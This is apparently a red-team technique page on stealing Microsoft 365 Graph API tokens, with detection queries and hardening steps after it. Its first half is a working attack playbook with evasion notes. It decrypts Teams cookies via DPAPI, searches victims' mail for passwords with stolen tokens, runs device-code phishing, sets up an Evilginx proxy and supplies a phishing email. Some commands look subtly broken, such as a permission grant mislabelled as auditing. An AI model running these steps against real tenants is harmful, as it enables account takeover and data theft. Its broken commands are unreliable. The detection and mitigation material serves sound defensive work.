MCADDF

[CA-TOKEN-004]: Graph API Token Theft

1. METADATA HEADER

Attribute Details
Technique ID CA-TOKEN-004
MITRE ATT&CK v18.1 T1528 - Steal Application Access Tokens
Tactic Credential Access
Platforms M365 (Microsoft Teams, Outlook, SharePoint)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-10-26
Affected Versions Windows 10+, Office 365, Teams Desktop Client (all versions with token caching)
Patched In N/A (inherent to OAuth 2.0 architecture)
Author SERVTEPArtur Pchelnikau

Note: All section numbers have been dynamically renumbered based on applicability for this technique.


2. EXECUTIVE SUMMARY

Concept: Microsoft Graph API token theft is a post-compromise attack where an attacker steals or intercepts OAuth 2.0 access tokens, enabling unauthorized interaction with Microsoft 365 services on behalf of a legitimate user. Tokens can be extracted through multiple vectors: local DPAPI-encrypted cookie theft from Teams/Office applications, interception of device code authentication flows, browser-based MITM attacks, or refresh token abuse. Once obtained, tokens grant full delegated access to Microsoft Graph API endpoints (mail, chats, SharePoint, OneDrive), bypassing MFA and lasting the full token lifetime (typically 1 hour for access tokens, days/weeks for refresh tokens).

Attack Surface: Microsoft Teams Cookies database, browser authentication flows, OAuth token endpoints (login.microsoftonline.com), msedgewebview2.exe embedded browser process, memory of authenticated applications.

Business Impact: Complete lateral movement within Microsoft 365 environment. Attackers can read all emails accessible to the compromised user, download sensitive documents from SharePoint/OneDrive, monitor Teams conversations, send phishing from the user’s email account, and pivot to other accounts by searching for credentials in messages. No user interaction is required after token theft, and detection is difficult as activities appear to originate from a trusted user account.

Technical Context: Token theft is stealthy and requires only local access (via prior compromise) or network position (for MITM attacks). Detection likelihood is LOW because the attacker uses legitimate, delegated API endpoints with valid tokens. However, high-volume API calls, unusual patterns (e.g., bulk mailbox searches for “password” or “admin”), and out-of-hours access can trigger anomalies. Reversibility is NONE—stolen tokens cannot be revoked individually by users, only by tenant-wide token revocation policies.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.3.5 Ensure MFA is enabled for all users (bypassed by token theft post-authentication)
CIS Benchmark 5.1.1.1 Ensure that ‘Require device compliance’ is ‘Yes’ for all cloud apps (token theft occurs after compliance check)
DISA STIG ID-000520 Implement access controls and audit logging for API endpoints
CISA SCuBA Conditional Access Policy Enforce token protection (requiring Primary Refresh Token with device registration)
NIST 800-53 AC-3 Access Enforcement - API-level authorization cannot prevent stolen token use
NIST 800-53 AU-2 Audit Events - Comprehensive logging of API activity for anomaly detection
NIST 800-53 SC-7 Boundary Protection - API gateways and token validation
GDPR Art. 32 Security of Processing - Cryptographic measures for sensitive tokens; breach notification
DORA Art. 9 Protection and Prevention - Authentication and authorization mechanisms
NIS2 Art. 21 Cyber Risk Management Measures - Multi-factor authentication and monitoring of privileged access
ISO 27001 A.9.2.3 Management of Privileged Access Rights - Token revocation and session management
ISO 27005 Risk Scenario “Compromise of Authentication Credentials” and “Unauthorized Access to APIs”

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Objective: Identify if Graph API token caching is enabled and assess potential token exposure vectors.

# Check if Teams application is installed and accessible
Test-Path "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe"

# Verify if Teams process is running (important: must be killed to access Cookies database)
Get-Process -Name ms-teams -ErrorAction SilentlyContinue | Select-Object ProcessName, Id

# Check if DPAPI can be invoked (required for Teams token decryption)
Try {
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
    Write-Host "DPAPI access available"
} Catch {
    Write-Host "DPAPI access denied"
}

# Check for OAuth token locations in browser profiles (Chrome, Edge, Firefox)
$EdgePath = "$env:APPDATA\Local\Microsoft\Edge\User Data\Default"
$ChromePath = "$env:APPDATA\Local\Google\Chrome\User Data\Default"
Test-Path "$EdgePath\Cookies"
Test-Path "$ChromePath\Cookies"

What to Look For:

Version Note: Across Windows 10, 11, and Server versions, the Teams path and token encryption mechanism remain consistent.

Linux/Bash / CLI Reconnaissance

# Check for Teams token cache in Linux Teams (if installed)
find ~/.config/Microsoft/Teams -name "Cookies*" 2>/dev/null

# Enumerate Kerberos token cache (if using Kerberos for cross-platform auth)
klist 2>/dev/null

# Check for browser token storage in Firefox/Chromium
ls -la ~/.mozilla/firefox/*/storage/default/
ls -la ~/.config/google-chrome/Default/Cookies 2>/dev/null

# Check for Azure CLI token cache (alternative access vector)
cat ~/.azure/tokenCache.json 2>/dev/null | head -c 100

What to Look For:


5. DETAILED EXECUTION METHODS

Supported Versions: Windows 10, 11, Server 2019-2025 with Teams 1.3+.

Step 1: Obtain Local System Access & Terminate Teams Process

Objective: Gain file access to Teams Cookies database; Teams process must be terminated as it locks the SQLite database.

Command (All Versions):

# Kill Teams process to release Cookies database lock
Stop-Process -Name ms-teams -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2

# Verify process is terminated
Get-Process -Name ms-teams -ErrorAction SilentlyContinue

Expected Output:

# No output if process successfully terminated
# If process persists, loop returns running instances

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Cookies Database

Objective: Copy the encrypted Cookies database to an accessible location for decryption.

Command:

# Define paths
$TeamsPath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView"
$CookiesSource = "$TeamsPath\Cookies"
$CookiesDest = "C:\Windows\Temp\Teams_Cookies"

# Copy Cookies database
if (Test-Path $CookiesSource) {
    Copy-Item -Path $CookiesSource -Destination $CookiesDest -Force -ErrorAction Stop
    Write-Host "[+] Cookies database copied to $CookiesDest"
} else {
    Write-Host "[-] Teams Cookies database not found at $TeamsPath"
}

# Also extract the encryption key from Local State JSON
$LocalStatePath = "$TeamsPath\Local State"
$LocalStateContent = Get-Content -Path $LocalStatePath | ConvertFrom-Json
$EncryptedKey = $LocalStateContent.os_crypt.encrypted_key

Write-Host "[+] Encrypted key extracted: $($EncryptedKey.Substring(0, 50))..."

Expected Output:

[+] Cookies database copied to C:\Windows\Temp\Teams_Cookies
[+] Encrypted key extracted: RFBBUEkxAAAA...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt DPAPI-Protected Encryption Key

Objective: Decrypt the DPAPI-protected master key using Windows DPAPI APIs (requires user context).

Command (PowerShell):

Add-Type -AssemblyName System.Security

$LocalStatePath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Local State"
$LocalStateJson = Get-Content -Path $LocalStatePath -Raw | ConvertFrom-Json

# Extract and base64-decode the encrypted key
$EncryptedKeyBase64 = $LocalStateJson.os_crypt.encrypted_key
$EncryptedKeyBytes = [Convert]::FromBase64String($EncryptedKeyBase64)

# Skip first 5 bytes (DPAPI prefix)
$EncryptedKeyOnly = $EncryptedKeyBytes[5..($EncryptedKeyBytes.Length - 1)]

# Decrypt using DPAPI
try {
    $DecryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedKeyOnly, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
    [System.Convert]::ToBase64String($DecryptedKey) | Out-Host
    Write-Host "[+] DPAPI key decrypted successfully (32 bytes for AES-256)"
} catch {
    Write-Host "[-] DPAPI decryption failed: $_"
}

Expected Output:

[+] DPAPI key decrypted successfully (32 bytes for AES-256)
Kx3vL7pQ9mN2oR4sT6uV8wXyZaB5cD7eF9gH1jK3lM5nO7pQ9rS1tU3vW5xY7zA9

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Extract & Decrypt Cookies from SQLite Database

Objective: Parse the SQLite Cookies database and decrypt individual cookie values using the decrypted AES-256 key.

Command (PowerShell with SQL parsing):

# Load SQLite module (may need installation: Install-Module -Name PSSQLite)
# Alternatively, use raw byte parsing if SQLite module unavailable

# Using GraphRunner teams_dump PoC (if available)
# This tool automates the extraction and decryption process

# Manual approach: Query SQLite Cookies table
$CookiesPath = "C:\Windows\Temp\Teams_Cookies"

# Parse Cookies table for Graph API tokens (host = 'teams.microsoft.com')
# Decryption requires AES-256-GCM with nonce (first 12 bytes of encrypted value)

# Tokens will appear in the decrypted cookies as:
# MUIDB, TSREGIONCOOKIE, or Bearer tokens for teams.microsoft.com

Write-Host "[+] Use teams_dump or GraphSpy to parse and decrypt Cookies"
Write-Host "[+] Tokens will be in format: eyJ0eXA..."

Expected Output:

[+] Extracted token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjAxZVRydW1B...
[+] Token scope: Chat.ReadWrite Mail.Read User.Read

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 5: Use Stolen Token with GraphRunner

Objective: Leverage the extracted token to enumerate and exploit Microsoft Graph API.

Command:

# Import GraphRunner module
Import-Module .\GraphRunner.ps1

# Define token variable
$tokens = @{
    "access_token" = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjAxZVRydW1B..."
    "refresh_token" = "0.AVAAp4-4Zz4n7EuI_..."
    "id_token" = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im..."
}

# Run Graph API reconnaissance
Invoke-GraphRunner -Tokens $tokens

# Alternative: Execute specific Graph API calls
Invoke-GraphRecon -Tokens $tokens
Get-AzureADUsers -Tokens $tokens
Invoke-SearchMailbox -Tokens $tokens -Keywords "password,admin,credential"
Invoke-SearchTeams -Tokens $tokens -Keywords "secret,key,token"

Expected Output:

[+] Connected to Microsoft Graph API
[+] Current User: user@contoso.com
[+] Available Scopes: Chat.ReadWrite, Mail.Read, User.Read

[+] Users enumerated: 245
[+] Mailbox items found: 1,234
[+] Teams messages with "password": 12

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: Device Code Flow Interception (OAuth Phishing)

Supported Versions: All Entra ID tenants, any OAuth 2.0 client using device code flow.

Step 1: Initiate Device Code Flow

Objective: Start the device code authentication flow and wait for user to authenticate.

Command (PowerShell using GraphRunner):

# Import GraphRunner
Import-Module .\GraphRunner.ps1

# Get tokens using device code flow (this is built into GraphRunner)
$tokens = Get-GraphTokens -ClientId "04b07795-8ddb-461a-bbee-02f9e1bf7b46" `
    -Resource "https://graph.microsoft.com" `
    -Device "Windows" `
    -Browser "Chrome"

# The user will see a device code and be prompted to authenticate at https://microsoft.com/devicelogin
# Once authenticated, the attacker's polling loop receives the tokens

Expected Output:

[*] Please go to https://microsoft.com/devicelogin and enter code: ABC123DEF456
[*] Waiting for authentication...
[+] User authenticated!
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
[+] Refresh Token: 0.AVAAp4-4Zz4n7EuI_pRQ...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Validate Token Scope

Objective: Verify that obtained token has required scopes for the intended attack.

Command:

# Decode JWT to check scopes
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1..."
$parts = $token.Split('.')
$payload = [Convert]::FromBase64String($parts[1] + "==")
$claims = [System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json

# Check scopes
$claims.scp

# Expected output if user consented to full permissions:
# "Mail.Read Mail.ReadWrite Chat.ReadWrite Team.Read.All ..."

Expected Output:

scp: "Mail.Read Mail.ReadWrite Chat.ReadWrite Team.Read.All User.ReadWrite.All"

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Exfiltrate Data Using Stolen Token

Objective: Execute Graph API queries to extract sensitive information.

Command:

# Define token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1..."

# Create authorization header
$authHeader = @{
    "Authorization" = "Bearer $token"
    "Content-Type" = "application/json"
}

# Example 1: Search all emails for credentials
$searchQuery = @{
    "requests" = @(
        @{
            "entityTypes" = @("message")
            "query" = "subject:password OR body:admin OR body:secret OR body:API_KEY"
        }
    )
} | ConvertTo-Json

Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/search/query" `
    -Headers $authHeader `
    -Method POST `
    -Body $searchQuery -OutFile "C:\Temp\search_results.json"

# Example 2: Enumerate all users in tenant
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/users?`$select=id,userPrincipalName,jobTitle,officeLocation" `
    -Headers $authHeader `
    -Method GET -OutFile "C:\Temp\users.json"

# Example 3: Download all OneDrive files
Invoke-WebRequest -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" `
    -Headers $authHeader `
    -Method GET -OutFile "C:\Temp\onedrive_files.json"

Expected Output:

{
  "value": [
    {
      "id": "AQMkADEzYjE1NjA1LWZiZTAtNGYyZS04MjAwLTA4Njg5NzJjNzhjZQBGAAADnmFPX7_AAAA==",
      "subject": "URGENT: Database password - admin_user / P@ssw0rd2024!",
      "from": "admin@contoso.com",
      "bodyPreview": "Here is the production database password..."
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 3: MITM/Evilginx2 OAuth Token Interception

Supported Versions: All OAuth 2.0 flows, browser-based authentication.

Step 1: Set Up Evilginx2 MITM Proxy

Objective: Deploy Evilginx2 phishing server to intercept OAuth authentication flow.

Command (on attacker VPS):

# Install Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make

# Create phishing config for Microsoft OAuth
cat > config.yaml <<EOF
{
  "name": "microsoft",
  "auth_url": "https://login.microsoftonline.com/common/oauth2/v2.0/authorize",
  "token_url": "https://login.microsoftonline.com/common/oauth2/v2.0/token",
  "redirect_url": "https://evilginx.attacker.com/callback",
  "scopes": ["https://graph.microsoft.com/.default"],
  "username_field": "loginEmail",
  "password_field": "passwd"
}
EOF

# Start Evilginx2 server
./evilginx2 -p config.yaml -l 0.0.0.0:443 -c /path/to/tls/cert.pem -k /path/to/tls/key.pem

Expected Output:

[*] Evilginx2 v2.3.0 started on 0.0.0.0:443
[+] Config loaded: microsoft
[+] Phishing page ready at: https://evilginx.attacker.com/login

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Create Social Engineering Lure

Objective: Convince users to visit the phishing URL.

Command (Email phishing example):

Subject: ACTION REQUIRED: Verify Your Microsoft Account Security

<p>Dear User,</p>

<p>For security reasons, we need you to verify your Microsoft account. 
Please click the link below to confirm your identity:</p>

<a href="https://evilginx.attacker.com/login">Verify Account Now</a>

<p>If you do not complete this verification, your account access may be suspended.</p>

<p>Microsoft Security Team</p>

Expected Output:

User clicks link → Evilginx phishing page → User enters credentials → Evilginx captures auth → Forwards to Microsoft
→ Microsoft authenticates user → OAuth code returned to Evilginx → Evilginx exchanges code for tokens
→ Attacker now possesses access_token + refresh_token

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Tokens from Evilginx Logs

Objective: Retrieve captured tokens from Evilginx2 log files.

Command:

# Evilginx2 logs captured sessions
cat ~/.evilginx2/logs/session_log.txt

# Output:
# [2025-01-08 14:32:10] Session captured for user@contoso.com
# access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
# refresh_token: 0.AVAAp4-4Zz4n7EuI_pRQ...
# id_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im...

# Extract tokens
grep "access_token:" ~/.evilginx2/logs/session_log.txt > tokens.txt

Expected Output:

access_token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im1...
refresh_token: 0.AVAAp4-4Zz4n7EuI_pRQ...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Use Captured Tokens with GraphRunner (Same as Method 1, Step 5)


6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

PoC Verification Command:

# Minimal PoC to verify token extraction and Graph API access
# This should only be executed in authorized test environments

# Step 1: Extract Teams cookies (requires Teams to be closed)
$TeamsPath = "$env:APPDATA\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView"
if (Test-Path "$TeamsPath\Cookies") {
    Write-Host "[+] Teams Cookies database found - extraction is possible"
} else {
    Write-Host "[-] Teams not installed or Cookies database not found"
}

# Step 2: Verify Graph API endpoint accessibility
$GraphEndpoint = "https://graph.microsoft.com/v1.0/me"
Try {
    Invoke-WebRequest -Uri $GraphEndpoint -ErrorAction Stop | Select-Object StatusCode
    Write-Host "[+] Graph API endpoint accessible"
} Catch {
    Write-Host "[-] Graph API not accessible: $($_.Exception.Message)"
}

7. SPLUNK DETECTION RULES

Rule 1: Unusual Graph API Bulk Search Queries

Rule Configuration:

SPL Query:

index=azure_activity source=MicrosoftGraphActivityLogs RequestMethod=POST 
    RequestUriPath="/search/query" 
| stats count, values(RequestUri), values(UserId) by UserId, TimeGenerated 
| where count > 5
| eval time_diff=TimeGenerated 
| delta time_diff p=1 
| where delta < 600 
| rename UserId as user_id, count as query_count

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk WebSearch & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to: Customsearch | stats count | where count > 5
  6. Configure Action → Send email to SOC with alert context
  7. Save as: “Graph API Bulk Search - Token Theft Detection”

False Positive Analysis:


Rule 2: Graph API Access from Unusual Source IP

Rule Configuration:

SPL Query:

index=azure_activity source=MicrosoftGraphActivityLogs AppId="00000003-0000-0000-c000-000000000000" 
| stats values(SourceIp), values(UserAgent) by UserId 
| join UserId [search index=azure_activity source=MicrosoftGraphActivityLogs AppId="00000003-0000-0000-c000-000000000000" 
    earliest=-30d 
    | stats values(SourceIp) as historical_ips by UserId] 
| eval is_new_ip=if(match(SourceIp, historical_ips), "no", "yes") 
| search is_new_ip=yes

What This Detects:

Manual Configuration Steps:

  1. Go to Splunk WebSearch & ReportingNew Alert
  2. Paste the SPL query
  3. Set frequency to Every 1 hour
  4. Configure action to email SOC with user and IP details

False Positive Analysis:


8. MICROSOFT SENTINEL DETECTION

Query 1: Bulk Mailbox Search via Graph API

Rule Configuration:

KQL Query:

MicrosoftGraphActivityLogs
| where RequestUriPath startswith "/search/query" and RequestMethod == "POST"
| extend RequestBody = parse_json(RequestBody)
| where RequestBody.requests[0].query contains "password" 
    or RequestBody.requests[0].query contains "admin" 
    or RequestBody.requests[0].query contains "secret"
    or RequestBody.requests[0].query contains "API_KEY"
    or RequestBody.requests[0].query contains "credential"
| summarize SearchCount=count(), SearchQueries=make_set(RequestBody.requests[0].query) by UserId, TimeGenerated
| where SearchCount > 3
| project TimeGenerated, UserId, SearchCount, SearchQueries

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Graph API Credential Exfiltration via Search
    • Severity: High
  4. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 10 minutes
  5. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this rule
  6. Click Review + createCreate

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "SOC-RG"
$WorkspaceName = "Sentinel-Workspace"

$RuleQuery = @"
MicrosoftGraphActivityLogs
| where RequestUriPath startswith "/search/query" and RequestMethod == "POST"
| extend RequestBody = parse_json(RequestBody)
| where RequestBody.requests[0].query contains "password" 
| summarize SearchCount=count() by UserId
| where SearchCount > 3
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
  -WorkspaceName $WorkspaceName `
  -DisplayName "Graph API Credential Exfiltration" `
  -Query $RuleQuery `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Sentinel GitHub - Graph API Threat Detection


Query 2: Token Extraction via Mimikatz / DPAPI in Event Logs

Rule Configuration:

KQL Query:

DeviceProcessEvents
| where ProcessName has "mimikatz" or ProcessName has "procdump"
    or ProcessName has "teams_dump"
    or (CommandLine contains "DPAPI" and CommandLine contains "decrypt")
    or (ProcessName has "powershell" and CommandLine contains "ProtectedData")
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, ProcessName, CommandLine
| join kind=inner (
    SecurityEvent
    | where EventID == 4688
    | project TimeGenerated, Computer, NewProcessName, ParentProcessName, CommandLine
    ) on Computer == DeviceName

What This Detects:

Manual Configuration Steps:

  1. Azure PortalMicrosoft SentinelAnalytics+ CreateScheduled query rule
  2. General:
    • Name: Potential Graph API Token Extraction Attempt
    • Severity: Critical
  3. Set rule logic:
    • Paste KQL query
    • Run every: 5 minutes
    • Lookup: 15 minutes
  4. Incident settings: Enable incident creation
  5. Create

9. WINDOWS EVENT LOG MONITORING

Event IDs to Monitor:

Event ID 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Expand Detailed TrackingAudit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines
  6. Verify: auditpol /get /subcategory:"Process Creation" should return “Success and Failure”

Event ID 4663 (File Access)

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationObject AccessAudit File System
  3. Set to: Success and Failure
  4. Run: auditpol /set /subcategory:"File System" /success:enable /failure:enable
  5. Create SACL on Teams path:
    icacls "C:\Users\*\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe" /grant "*S-1-5-21-*-512:(F)" /T
    

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2019-2025.

<!-- Detect DPAPI decryption attempts for Teams token extraction -->
<Sysmon schemaversion="4.1">
  <EventFiltering>
    <!-- Process Execution - Mimikatz or DPAPI-related PowerShell -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains any">
        mimikatz
        procdump
        teams_dump
        CryptoUnprotect
      </CommandLine>
    </ProcessCreate>
    
    <!-- File Access to Teams Cookies -->
    <FileCreate onmatch="include">
      <TargetFilename condition="contains">
        MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Cookies
      </TargetFilename>
    </FileCreate>
    
    <!-- Network Connection to Graph API endpoints -->
    <NetworkConnect onmatch="include">
      <DestinationHostname condition="contains">
        graph.microsoft.com
        login.microsoftonline.com
      </DestinationHostname>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create config file sysmon-config.xml with the XML above
  3. Install Sysmon:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

11. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Anomalous Microsoft Graph activity detected”

Alert Name: “Potential credential theft via DPAPI”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Cloud Apps: ON (monitors Graph API abuse)
    • Defender for Servers: ON (monitors credential theft tools)
    • Defender for Storage: ON (monitors file access patterns)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud Alert Reference


12. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Graph API Operations

Search-UnifiedAuditLog -Operations "Search-MailboxContent","SearchMailbox" `
    -StartDate (Get-Date).AddDays(-7) `
    -EndDate (Get-Date) `
    -FreeText "password OR admin OR secret OR API_KEY" |
    Export-Csv -Path "C:\AuditLog_GraphAPI.csv"

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate
  5. Go to AuditSearch
  6. Set Date range, select Activities (e.g., “Mailbox login”, “Search mailbox”)
  7. Click Search
  8. Export results: ExportDownload all results

PowerShell Alternative:

Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
Search-UnifiedAuditLog -StartDate "01/01/2025" -EndDate "01/31/2025" `
    -Operations "Search-MailboxContent" `
    -ResultSize 5000 | Select-Object UserIds, Operations, ResultIndex, AuditData | 
    Export-Csv -Path "C:\GraphAPI_Audit.csv"

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Enable Token Protection (Primary Refresh Token - PRT with Device Bound Keys)

Token protection ensures tokens are bound to a specific device, making stolen tokens unusable on different systems.

Applies To Versions: Windows 10+, Server 2022+ with Entra ID

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Enforce Token Protection for Graph API
  4. Assignments:
    • Users: All users (or specific high-risk groups)
    • Cloud apps: Microsoft Graph API, Office 365 Exchange Online
  5. Conditions:
    • Device state: Any
    • Client apps: All clients
  6. Access controls:
    • Grant: Require device to be marked as compliant
    • Grant: Require authentication strengthPasswordless sign-in (Windows Hello, FIDO2)
  7. Enable policy: On
  8. Click Create

Manual Steps (PowerShell):

Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"

$policyDisplayName = "Enforce Token Protection for Graph API"
$policyDescription = "Require Primary Refresh Token binding to device"

$conditionalAccessPolicy = @{
    displayName = $policyDisplayName
    state = "enabledForReportingButNotEnforced"
    conditions = @{
        applications = @{
            includeApplications = @("00000003-0000-0000-c000-000000000000") # Microsoft Graph
        }
        users = @{
            includeUsers = @("All")
        }
    }
    grantControls = @{
        operator = "AND"
        builtInControls = @(
            "compliantDevice",
            "approvedClientApp"
        )
    }
}

New-MgIdentityConditionalAccessPolicy -BodyParameter $conditionalAccessPolicy

Validation Command (Verify Fix):

Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Enforce Token Protection'" |
    Select-Object DisplayName, State, CreatedDateTime

Expected Output (If Secure):

DisplayName                              State                        CreatedDateTime
-------------------------------          -----------------------      ---------------
Enforce Token Protection for Graph API   enabledForReportingButNotE... 1/8/2025 4:15 AM

2. Revoke Refresh Tokens Tenant-Wide (Break Existing Compromised Sessions)

Refresh token revocation forces all users to re-authenticate, invalidating stolen tokens.

Applies To Versions: All Entra ID tenants

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDUsers → Select High-Risk Users
  2. Click Confirm compromised
  3. This immediately revokes all refresh tokens for that user
  4. User must re-authenticate on next access

Manual Steps (PowerShell):

Connect-MgGraph -Scopes "User.ReadWrite.All"

# Get the compromised user
$user = Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'"

# Revoke all refresh tokens (force re-authentication)
Revoke-MgUserSignInSession -UserId $user.Id

Write-Host "[+] All refresh tokens revoked for $($user.UserPrincipalName)"

Validation Command:

# Verify that the user must re-authenticate on next access
Get-MgUserSignInActivity -UserId (Get-MgUser -Filter "userPrincipalName eq 'user@contoso.com'").Id |
    Select-Object SignInDateTime, IsRisky

3. Disable Legacy OAuth Clients & Require Modern Authentication

Legacy OAuth clients (pre-2015 apps) do not support token protection or conditional access policies.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDEnterprise applications
  2. Click Application registrationAll applications
  3. Filter for apps with creation date > 10 years ago
  4. For each legacy app:
    • Click PropertiesEnabled for users to sign in?No
    • Click Delete to remove if no longer needed

Manual Steps (PowerShell):

Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Get all legacy OAuth apps (created before 2015)
$legacyApps = Get-MgApplication -Filter "createdDateTime lt 2015-01-01T00:00:00Z"

foreach ($app in $legacyApps) {
    Write-Host "Disabling legacy app: $($app.DisplayName)"
    Update-MgApplication -ApplicationId $app.Id -AccountEnabled $false
}

4. Enable Microsoft Graph API Diagnostics & Auditing

Ensure all Graph API calls are logged for detection and forensics.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDDiagnostic settings
  2. Click + Add diagnostic setting
  3. Name: Graph API Activity Logging
  4. Logs: Enable MicrosoftGraphActivityLogs and AzureADGraphActivityLogs
  5. Destination: Send to Log Analytics workspace
  6. Click Save

Manual Steps (PowerShell):

Connect-AzAccount
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "SOC-RG" -Name "Sentinel-Workspace"

New-AzDiagnosticSetting -Name "Graph API Activity Logging" `
    -ResourceId "/subscriptions/{subscriptionId}/providers/Microsoft.aadiam/diagnosticSettings" `
    -WorkspaceId $workspace.ResourceId `
    -Enabled $true `
    -Categories "MicrosoftGraphActivityLogs","AzureADGraphActivityLogs"

Priority 2: HIGH

5. Implement Least Privilege Access for Service Principals & App Registrations

Service principals and application registrations with Mail.Read.All or User.Read.All scopes are high-value targets.

Manual Steps:

  1. Go to Azure PortalEntra IDApp registrations
  2. For each app:
    • Click API permissions
    • Remove broad scopes (Mail.Read.All, User.Read.All) and replace with delegated scopes (Mail.Read, User.Read)
    • Revoke admin consent if not essential

6. Block Graph API Access from Non-Compliant or Untrusted IP Ranges

Restrict Graph API calls to known corporate IP ranges.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional AccessNamed locations
  2. Click + New location
  3. Name: Corporate IP Ranges
  4. IP ranges: Enter CIDR ranges (e.g., 203.0.113.0/24)
  5. Click Create
  6. Create a new Conditional Access policy:
    • Exclude Graph API access from named location
    • Require re-authentication for out-of-location access

7. Enable Teams Desktop Client Notification on Token Export Attempts

Configure Teams to alert users when tokens are being exported.

Manual Steps (PowerShell - Teams Admin):

# This is not directly configurable but can be mitigated with app-bound encryption
# Recommend using web-based Teams instead of desktop client to avoid DPAPI-encrypted token storage

Access Control & Policy Hardening

Conditional Access Policies:

  1. Require Compliant Device: Require Windows Defender enabled, Windows Firewall on
